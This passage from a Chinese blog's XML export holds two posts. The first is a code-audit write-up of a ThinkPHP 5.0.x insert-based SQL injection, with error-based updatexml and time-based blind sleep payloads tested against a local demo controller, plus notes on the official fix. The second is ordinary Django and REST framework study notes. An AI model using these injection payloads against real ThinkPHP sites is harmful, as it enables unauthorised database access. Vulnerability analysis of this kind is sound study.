class="variable">$val</span>)) {</span><br><span class="line"> <span class="comment">// 过滤非标量数据</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="number">0</span> === strpos(<span class="variable">$val</span>, <span class="string">':'</span>) && <span class="keyword">$this</span>->query->isBind(substr(<span class="variable">$val</span>, <span class="number">1</span>))) {</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="variable">$val</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$key</span> = str_replace(<span class="string">'.'</span>, <span class="string">'_'</span>, <span class="variable">$key</span>);</span><br><span class="line"> <span class="keyword">$this</span>->query->bind(<span class="string">'data__'</span> . <span class="variable">$key</span>, <span class="variable">$val</span>, <span class="keyword">isset</span>(<span class="variable">$bind</span>[<span class="variable">$key</span>]) ? <span class="variable">$bind</span>[<span class="variable">$key</span>] : PDO::PARAM_STR);</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="string">':data__'</span> . <span class="variable">$key</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="根据parseData方法得到payload必须满足的条件:"><a href="#根据parseData方法得到payload必须满足的条件:" class="headerlink" title="根据parseData方法得到payload必须满足的条件:"></a>根据parseData方法得到payload必须满足的条件:</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入值为数组,</span><br><span class="line">payload格式为:arr[0]=inc&arr[1]=exp&arr[2]=数字</span><br></pre></td></tr></table></figure><p>因为是insert注入,所以采用报错注入的方式,构造payload为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arr[0]=inc&arr[1]=updatexml(0x7e,user(),0x7e)&arr[2]=1</span><br></pre></td></tr></table></figure><p>此时需要找一个payload输入点,insert注册功能处就有。</p><h3 id="简单写一个注册demo"><a href="#简单写一个注册demo" class="headerlink" title="简单写一个注册demo:"></a>简单写一个注册demo:</h3><p>tp5.0.1/application/index/controller/Register.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">app</span>\<span class="title">index</span>\<span class="title">controller</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">app</span>\<span class="title">index</span>\<span class="title">model</span>\<span class="title">Users</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">View</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Controller</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Register</span> <span class="keyword">extends</span> <span class="title">Controller</span></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable">$view</span> = <span class="keyword">new</span> View();</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$view</span>->fetch(<span class="string">'index'</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">register</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">//实例化User</span></span><br><span class="line"> <span class="variable">$user</span> = <span class="keyword">new</span> Users();</span><br><span class="line"> <span class="comment">//接收前端表单提交的数据</span></span><br><span class="line"></span><br><span class="line"> <span class="variable">$user</span>->username = input(<span class="string">'post.username'</span>);</span><br><span class="line"> <span class="variable">$user</span>->sex = input(<span class="string">'post.sex'</span>);</span><br><span class="line"> <span class="variable">$user</span>->password = input(<span class="string">'post.password'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$result</span>=<span class="keyword">array</span>(</span><br><span class="line"></span><br><span class="line"> <span class="string">"username"</span>=><span class="variable">$user</span>->username,</span><br><span class="line"> <span class="string">"sex"</span>=><span class="variable">$user</span>->sex,</span><br><span class="line"> <span class="string">"password"</span>=><span class="variable">$user</span>->password</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"> db(<span class="string">'users'</span>)->insert(<span class="variable">$result</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Update success'</span>;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>tp5.0.1/application/index/view/register/index.html</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <meta charset="utf-8"></span><br><span class="line"> <title>注册</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><div id="regist_form"></span><br><span class="line"> <dl></span><br><span class="line"> <form action="/tp5.0.1/public/index.php/index/register/register" method="post"></span><br><span class="line"> <h1>注册页面</h1></span><br><span class="line"></span><br><span class="line"> <p>用户名:<input type="text" name="username"></p></span><br><span class="line"> <p>性别:<input type="text" name="sex"></p></span><br><span class="line"> <p>密码:<input type="text" name="password"></p></span><br><span class="line"></span><br><span class="line"> <input type="submit" name="submit" value="Submit"></span><br><span class="line"></span><br><span class="line"> </form></span><br><span class="line"> </dl></span><br><span class="line"></div></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>发现在接受数据处必须要这样写:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$user</span>->username = input(<span class="string">'post.username/a'</span>);</span><br></pre></td></tr></table></figure><p>才能触发注入…..可是大多数时候程序员都不会这样写吧,直接接收一个数组….</p><p>/a修饰符官方解释:</p><p><img src="3.2.png" alt="3.2"></p><p>添加/a尝试提交数据注入尝试:</p><h3 id="直接对注册接口提交payload"><a href="#直接对注册接口提交payload" class="headerlink" title="直接对注册接口提交payload"></a>直接对注册接口提交payload</h3><p><img src="3.3.png" alt="3.2"></p><p>感觉这个漏洞比较鸡肋必须要满足用户接收一个数组输入时才能触发,一般的功能点也不会这样写,但是也不一定吧,遇到的时候可以多尝试。</p><h3 id="在debug没开启时可以通过时间盲注的形式获取数据,paylaod"><a href="#在debug没开启时可以通过时间盲注的形式获取数据,paylaod" class="headerlink" title="在debug没开启时可以通过时间盲注的形式获取数据,paylaod:"></a>在debug没开启时可以通过时间盲注的形式获取数据,paylaod:</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?username[<span class="number">0</span>]<span class="operator">=</span>inc<span class="operator">&</span>username[<span class="number">1</span>]<span class="operator">=</span>sleep(<span class="number">5</span>)<span class="operator">&</span>username[<span class="number">2</span>]<span class="operator">=</span><span class="number">1</span></span><br><span class="line"></span><br><span class="line">http:<span class="operator">/</span><span class="operator">/</span><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">8888</span><span class="operator">/</span>tp5<span class="number">.0</span><span class="number">.1</span><span class="operator">/</span>public<span class="operator">/</span>index.php<span class="operator">/</span>index<span class="operator">/</span>index<span class="operator">/</span>?username[<span class="number">0</span>]<span class="operator">=</span>inc<span class="operator">&</span>username[<span class="number">1</span>]<span class="operator">=</span>If(ascii(substr(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="number">115</span>,<span class="number">1</span>,sleep(<span class="number">3</span>))<span class="operator">&</span>username[<span class="number">2</span>]<span class="operator">=</span><span class="number">1</span></span><br></pre></td></tr></table></figure><h2 id="4-官方修复原理"><a href="#4-官方修复原理" class="headerlink" title="4.官方修复原理"></a>4.官方修复原理</h2><p>输入的val[1]必须和字段值相等才会进行拼接,字段值不可能为paylaod:updatexml(0x7e,user(),0x7e);等注入语句,也就修复了注入问题。</p><p><img src="4.2.png" alt="4.2"></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> thinkphp sql注入 </tag>
<tag> Thinkphp 5.0.15 SQL </tag>
</tags>
</entry>
<entry>
<title>django学习记录</title>
<link href="/2021/04/05/django%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"/>
<url>/2021/04/05/django%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<p>最近做毕设用到了django,这里简单记录一下开发过程。项目使用前后端分离,使用django的restframework框架写接口非常的便捷。这里简单记录一下学习过程。</p><h1 id="0x01-django基本操作"><a href="#0x01-django基本操作" class="headerlink" title="0x01 django基本操作"></a>0x01 django基本操作</h1><h2 id="安装django:"><a href="#安装django:" class="headerlink" title="安装django:"></a>安装django:</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install django==3.1.7-i https://pypi.tuna.tsinghua.edu.cn/simple</span><br></pre></td></tr></table></figure><h2 id="创建一个项目:"><a href="#创建一个项目:" class="headerlink" title="创建一个项目:"></a>创建一个项目:</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">django-admin startproject 项目名称</span><br></pre></td></tr></table></figure><p><img src="1.1.jpg" alt="1.1"></p><h2 id="创建一个应用:"><a href="#创建一个应用:" class="headerlink" title="创建一个应用:"></a>创建一个应用:</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 manage.py startapp App</span><br></pre></td></tr></table></figure><h2 id="项目配置文件注册应用:"><a href="#项目配置文件注册应用:" class="headerlink" title="项目配置文件注册应用:"></a>项目配置文件注册应用:</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">django_test/django_test/settings.py</span><br><span class="line"></span><br><span class="line">INSTALLED_APPS = [</span><br><span class="line"> <span class="string">'django.contrib.admin'</span>,</span><br><span class="line"> <span class="string">'django.contrib.auth'</span>,</span><br><span class="line"> <span class="string">'django.contrib.contenttypes'</span>,</span><br><span class="line"> <span class="string">'django.contrib.sessions'</span>,</span><br><span class="line"> <span class="string">'django.contrib.messages'</span>,</span><br><span class="line"> <span class="string">'django.contrib.staticfiles'</span>,</span><br><span class="line"> <span class="string">'App'</span>, <span class="comment"># 注册新添加的应用</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure><p><img src="1.2.jpg" alt="1.1"></p><h2 id="汉化及时区配置"><a href="#汉化及时区配置" class="headerlink" title="汉化及时区配置"></a>汉化及时区配置</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">LANGUAGE_CODE = <span class="string">'zh-hans'</span></span><br><span class="line"></span><br><span class="line">TIME_ZONE = <span class="string">'Asia/Shanghai'</span></span><br></pre></td></tr></table></figure><h2 id="django启动"><a href="#django启动" class="headerlink" title="django启动"></a>django启动</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python manage.py runserver 默认启动只允许本地访问</span><br><span class="line"></span><br><span class="line">python manage.py runserver 0.0.0.0:8080 如果在docker容器中使用则要采用此启动方法</span><br></pre></td></tr></table></figure><p><img src="1.3.png" alt="1.3"></p><h1 id="0x02-django-模型字段"><a href="#0x02-django-模型字段" class="headerlink" title="0x02 django 模型字段"></a>0x02 django 模型字段</h1><p>官方文档:<a href="https://docs.djangoproject.com/zh-hans/3.1/ref/models/fields/#django.db.models.Field">https://docs.djangoproject.com/zh-hans/3.1/ref/models/fields/#django.db.models.Field</a></p><p><a href="https://www.liujiangblog.com/course/django/95">https://www.liujiangblog.com/course/django/95</a></p><table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td>AutoField</td><td>一个自动增加的整数类型字段。通常你不需要自己编写它,Django会自动帮你添加字段:<code>id = models.AutoField(primary_key=True)</code>,这是一个自增字段,从1开始计数。如果你非要自己设置主键,那么请务必将字段设置为<code>primary_key=True</code>。Django在一个模型中只允许有一个自增字段,并且该字段必须为主键!</td></tr><tr><td>BigAutoField</td><td>64位整数类型自增字段,数字范围更大,从1到9223372036854775807</td></tr><tr><td>BigIntegerField</td><td>64位整数字段(看清楚,非自增),类似IntegerField ,-9223372036854775808 到9223372036854775807。在Django的模板表单里体现为一个<code>NumberInput</code>标签。</td></tr><tr><td>BinaryField</td><td>二进制数据类型。较少使用。</td></tr><tr><td><strong>BooleanField</strong></td><td>布尔值类型。默认值是None。在HTML表单中体现为CheckboxInput标签。如果设置了参数null=True,则表现为NullBooleanSelect选择框。可以提供default参数值,设置默认值。</td></tr><tr><td><strong>CharField</strong></td><td>最常用的类型,字符串类型。必须接收一个max_length参数,表示字符串长度不能超过该值。默认的表单标签是text input。</td></tr><tr><td><strong>DateField</strong></td><td><code>class DateField(auto_now=False, auto_now_add=False, **options)</code> , 日期类型。一个Python中的datetime.date的实例。在HTML中表现为DateInput标签。在admin后台中,Django会帮你自动添加一个JS日历表和一个“Today”快捷方式,以及附加的日期合法性验证。两个重要参数:(参数互斥,不能共存) <code>auto_now</code>:每当对象被保存时将字段设为当前日期,常用于保存最后修改时间。<code>auto_now_add</code>:每当对象被创建时,设为当前日期,常用于保存创建日期(注意,它是不可修改的)。设置上面两个参数就相当于给field添加了<code>editable=False</code>和<code>blank=True</code>属性。如果想具有修改属性,请用default参数。例子:<code>pub_time = models.DateField(auto_now_add=True)</code>,自动添加发布时间。</td></tr><tr><td>DateTimeField</td><td>日期时间类型。Python的datetime.datetime的实例。与DateField相比就是多了小时、分和秒的显示,其它功能、参数、用法、默认值等等都一样。</td></tr><tr><td>DecimalField</td><td>固定精度的十进制小数。相当于Python的Decimal实例,必须提供两个指定的参数!参数<code>max_digits</code>:最大的位数,必须大于或等于小数点位数 。<code>decimal_places</code>:小数点位数,精度。 当<code>localize=False</code>时,它在HTML表现为NumberInput标签,否则是textInput类型。例子:储存最大不超过999,带有2位小数位精度的数,定义如下:<code>models.DecimalField(..., max_digits=5, decimal_places=2)</code>。</td></tr><tr><td>DurationField</td><td>持续时间类型。存储一定期间的时间长度。类似Python中的timedelta。在不同的数据库实现中有不同的表示方法。常用于进行时间之间的加减运算。但是小心了,这里有坑,PostgreSQL等数据库之间有兼容性问题!</td></tr><tr><td><strong>EmailField</strong></td><td>邮箱类型,默认max_length最大长度254位。使用这个字段的好处是,可以使用Django内置的EmailValidator进行邮箱格式合法性验证。</td></tr><tr><td><strong>FileField</strong></td><td><code>class FileField(upload_to=None, max_length=100, **options)</code>上传文件类型,后面单独介绍。</td></tr><tr><td>FilePathField</td><td>文件路径类型,后面单独介绍</td></tr><tr><td>FloatField</td><td>浮点数类型,对应Python的float。参考整数类型字段。</td></tr><tr><td><strong>ImageField</strong></td><td>图像类型,后面单独介绍。</td></tr><tr><td><strong>IntegerField</strong></td><td>整数类型,最常用的字段之一。取值范围-2147483648到2147483647。在HTML中表现为NumberInput或者TextInput标签。</td></tr><tr><td><strong>GenericIPAddressField</strong></td><td><code>class GenericIPAddressField(protocol='both', unpack_ipv4=False, **options)</code>,IPV4或者IPV6地址,字符串形式,例如<code>192.0.2.30</code>或者<code>2a02:42fe::4</code>。在HTML中表现为TextInput标签。参数<code>protocol</code>默认值为‘both’,可选‘IPv4’或者‘IPv6’,表示你的IP地址类型。</td></tr><tr><td>JSONField</td><td>JSON类型字段。Django3.1新增。签名为<code>class JSONField(encoder=None,decoder=None,**options)</code>。其中的encoder和decoder为可选的编码器和解码器,用于自定义编码和解码方式。如果为该字段提供default值,请务必保证该值是个不可变的对象,比如字符串对象。</td></tr><tr><td>PositiveBigIntegerField</td><td>正的大整数,0到9223372036854775807</td></tr><tr><td>PositiveIntegerField</td><td>正整数,从0到2147483647</td></tr><tr><td>PositiveSmallIntegerField</td><td>较小的正整数,从0到32767</td></tr><tr><td>SlugField</td><td>slug是一个新闻行业的术语。一个slug就是一个某种东西的简短标签,包含字母、数字、下划线或者连接线,通常用于URLs中。可以设置max_length参数,默认为50。</td></tr><tr><td>SmallAutoField</td><td>Django3.0新增。类似AutoField,但是只允许1到32767。</td></tr><tr><td>SmallIntegerField</td><td>小整数,包含-32768到32767。</td></tr><tr><td><strong>TextField</strong></td><td>用于储存大量的文本内容,在HTML中表现为Textarea标签,最常用的字段类型之一!如果你为它设置一个max_length参数,那么在前端页面中会受到输入字符数量限制,然而在模型和数据库层面却不受影响。只有CharField才能同时作用于两者。</td></tr><tr><td>TimeField</td><td>时间字段,Python中datetime.time的实例。接收同DateField一样的参数,只作用于小时、分和秒。</td></tr><tr><td><strong>URLField</strong></td><td>一个用于保存URL地址的字符串类型,默认最大长度200。</td></tr><tr><td><strong>UUIDField</strong></td><td>用于保存通用唯一识别码(Universally Unique Identifier)的字段。使用Python的UUID类。在PostgreSQL数据库中保存为uuid类型,其它数据库中为char(32)。这个字段是自增主键的最佳替代品,后面有例子展示。</td></tr></tbody></table><h1 id="0x03-django-QuerySetAPI"><a href="#0x03-django-QuerySetAPI" class="headerlink" title="0x03 django QuerySetAPI"></a>0x03 django QuerySetAPI</h1><p>官方文档:<a href="https://docs.djangoproject.com/zh-hans/3.1/ref/models/querysets/#field-lookups">https://docs.djangoproject.com/zh-hans/3.1/ref/models/querysets/#field-lookups</a></p><p>QuerySetAPI 函数:<a href="https://www.liujiangblog.com/course/django/130">https://www.liujiangblog.com/course/django/130</a></p><table><thead><tr><th>方法名</th><th>解释</th></tr></thead><tbody><tr><td><strong>filter()</strong></td><td>过滤查询对象。</td></tr><tr><td><strong>exclude()</strong></td><td>排除满足条件的对象</td></tr><tr><td><strong>annotate()</strong></td><td>为查询集添加注解或者聚合内容</td></tr><tr><td><strong>order_by()</strong></td><td>对查询集进行排序</td></tr><tr><td><strong>reverse()</strong></td><td>反向排序</td></tr><tr><td><strong>distinct()</strong></td><td>对查询集去重</td></tr><tr><td><strong>values()</strong></td><td>返回包含对象具体值的字典的QuerySet</td></tr><tr><td><strong>values_list()</strong></td><td>与values()类似,只是返回的是元组而不是字典。</td></tr><tr><td>dates()</td><td>根据日期获取查询集</td></tr><tr><td>datetimes()</td><td>根据时间获取查询集</td></tr><tr><td><strong>none()</strong></td><td>创建空的查询集</td></tr><tr><td><strong>all()</strong></td><td>获取所有的对象</td></tr><tr><td>union()</td><td>并集</td></tr><tr><td>intersection()</td><td>交集</td></tr><tr><td>difference()</td><td>差集</td></tr><tr><td><strong>select_related()</strong></td><td>附带查询关联对象,利用缓存提高效率</td></tr><tr><td><code>prefetch_related()</code></td><td>预先查询,提高效率</td></tr><tr><td>extra()</td><td>将被废弃的方法</td></tr><tr><td>defer()</td><td>不加载指定字段,也就是排除一些列的数据</td></tr><tr><td>only()</td><td>只加载指定的字段,仅选择需要的字段</td></tr><tr><td>using()</td><td>选择数据库</td></tr><tr><td><code>select_for_update()</code></td><td>锁住选择的对象,直到事务结束。</td></tr><tr><td>raw()</td><td>接收一个原始的SQL查询</td></tr></tbody></table><h1 id="0x04-django-rest-framework"><a href="#0x04-django-rest-framework" class="headerlink" title="0x04 django rest framework"></a>0x04 django rest framework</h1><p>drf提供了强大的封装,可以快速编写符合restful风格api。</p><h2 id="restful-api:"><a href="#restful-api:" class="headerlink" title="restful api:"></a>restful api:</h2><p>一篇不错的解释文章:<a href="https://juejin.cn/post/6844904071640383502">https://juejin.cn/post/6844904071640383502</a></p><p>在接口的定义中引入了请求方法,使api接口跟简洁。例如:<br><img src="4.1.png" alt="4.1"></p><p>同样的接口通过请求方式的不同,具有不同的操作效果。</p><h2 id="django-restframework安装:"><a href="#django-restframework安装:" class="headerlink" title="django restframework安装:"></a>django restframework安装:</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install djangorestframework</span><br></pre></td></tr></table></figure><p>注册到配置文件:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">INSTALLED_APPS = [</span><br><span class="line"> <span class="string">'django.contrib.admin'</span>,</span><br><span class="line"> <span class="string">'django.contrib.auth'</span>,</span><br><span class="line"> <span class="string">'django.contrib.contenttypes'</span>,</span><br><span class="line"> <span class="string">'django.contrib.sessions'</span>,</span><br><span class="line"> <span class="string">'django.contrib.messages'</span>,</span><br><span class="line"> <span class="string">'django.contrib.staticfiles'</span>,</span><br><span class="line"> <span class="string">'rest_framework'</span>, <span class="comment">#注册restframework框架</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure><h2 id="编写实例:"><a href="#编写实例:" class="headerlink" title="编写实例:"></a>编写实例:</h2><h3 id="注册模型:"><a href="#注册模型:" class="headerlink" title="注册模型:"></a>注册模型:</h3><p>User/models.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.db <span class="keyword">import</span> models</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># Create your models here.</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span>(<span class="params">models.Model</span>):</span></span><br><span class="line"> username = models.CharField(max_length=<span class="number">100</span>, unique=<span class="literal">True</span>, default=<span class="string">'test'</span>, verbose_name=<span class="string">'用户名'</span>)</span><br><span class="line"> password = models.CharField(max_length=<span class="number">100</span>, default=<span class="string">'test'</span>, verbose_name=<span class="string">'密码'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Meta</span>:</span></span><br><span class="line"> db_table = <span class="string">'User'</span></span><br><span class="line"> verbose_name = <span class="string">'用户信息'</span></span><br><span class="line"> verbose_name_plural = verbose_name</span><br></pre></td></tr></table></figure><p>迁移申请:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py makemigrations</span><br></pre></td></tr></table></figure><p>创建表结构:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py migrate</span><br></pre></td></tr></table></figure><h3 id="注册序列化器:"><a href="#注册序列化器:" class="headerlink" title="注册序列化器:"></a>注册序列化器:</h3><p>User/serializers.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> rest_framework <span class="keyword">import</span> serializers</span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> User</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserSerialize</span>(<span class="params">serializers.ModelSerializer</span>):</span></span><br><span class="line"> <span class="string">"""定义序列化器"""</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Meta</span>:</span></span><br><span class="line"> model = User</span><br><span class="line"> fields = <span class="string">'__all__'</span></span><br></pre></td></tr></table></figure><h3 id="注册视图:"><a href="#注册视图:" class="headerlink" title="注册视图:"></a>注册视图:</h3><p>User/views.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> User</span><br><span class="line"><span class="comment"># drf</span></span><br><span class="line"><span class="keyword">from</span> rest_framework.viewsets <span class="keyword">import</span> ModelViewSet</span><br><span class="line"><span class="keyword">from</span> .serializers <span class="keyword">import</span> UserSerialize</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserViewSet</span>(<span class="params">ModelViewSet</span>):</span></span><br><span class="line"> <span class="string">"""定义类视图"""</span></span><br><span class="line"> <span class="comment"># 指定查询集</span></span><br><span class="line"> queryset = User.objects.<span class="built_in">all</span>()</span><br><span class="line"> <span class="comment"># 指定序列化器</span></span><br><span class="line"> serializer_class = UserSerialize</span><br></pre></td></tr></table></figure><h3 id="注册路由:"><a href="#注册路由:" class="headerlink" title="注册路由:"></a>注册路由:</h3><p>User/urls.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> . <span class="keyword">import</span> views</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> rest_framework <span class="keyword">import</span> routers</span><br><span class="line"></span><br><span class="line">urlpatterns = [</span><br><span class="line">]</span><br><span class="line">router = routers.DefaultRouter() <span class="comment"># 创建路由器</span></span><br><span class="line">router.register(<span class="string">r'users'</span>, views.UserViewSet) <span class="comment"># 注册路由</span></span><br><span class="line">urlpatterns += router.urls <span class="comment"># 把生成好的路由拼接到urlpatterns里去</span></span><br></pre></td></tr></table></figure><h3 id="查看视图接口:"><a href="#查看视图接口:" class="headerlink" title="查看视图接口:"></a>查看视图接口:</h3><p><img src="4.2.png" alt="4.1"></p><h1 id="0x05-生成接口文档"><a href="#0x05-生成接口文档" class="headerlink" title="0x05 生成接口文档"></a>0x05 生成接口文档</h1><p>使用drf接口编写非常快速。为了更加详细的查看和测试接口可以引入swagger接口文档。</p><h2 id="安装drf-yasg2:"><a href="#安装drf-yasg2:" class="headerlink" title="安装drf_yasg2:"></a>安装drf_yasg2:</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install drf_yasg2</span><br></pre></td></tr></table></figure><h2 id="注册应用:"><a href="#注册应用:" class="headerlink" title="注册应用:"></a>注册应用:</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">INSTALLED_APPS = [</span><br><span class="line"> <span class="string">'django.contrib.admin'</span>,</span><br><span class="line"> <span class="string">'django.contrib.auth'</span>,</span><br><span class="line"> <span class="string">'django.contrib.contenttypes'</span>,</span><br><span class="line"> <span class="string">'django.contrib.sessions'</span>,</span><br><span class="line"> <span class="string">'django.contrib.messages'</span>,</span><br><span class="line"> <span class="string">'django.contrib.staticfiles'</span>,</span><br><span class="line"> <span class="string">'User'</span>,</span><br><span class="line"> <span class="string">'drf_yasg2'</span>, <span class="comment">#swagger接口文档</span></span><br><span class="line"> <span class="string">'rest_framework'</span>,</span><br><span class="line">]</span><br></pre></td></tr></table></figure><h2 id="注册路由:-1"><a href="#注册路由:-1" class="headerlink" title="注册路由:"></a>注册路由:</h2><p>项目/Urls.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span 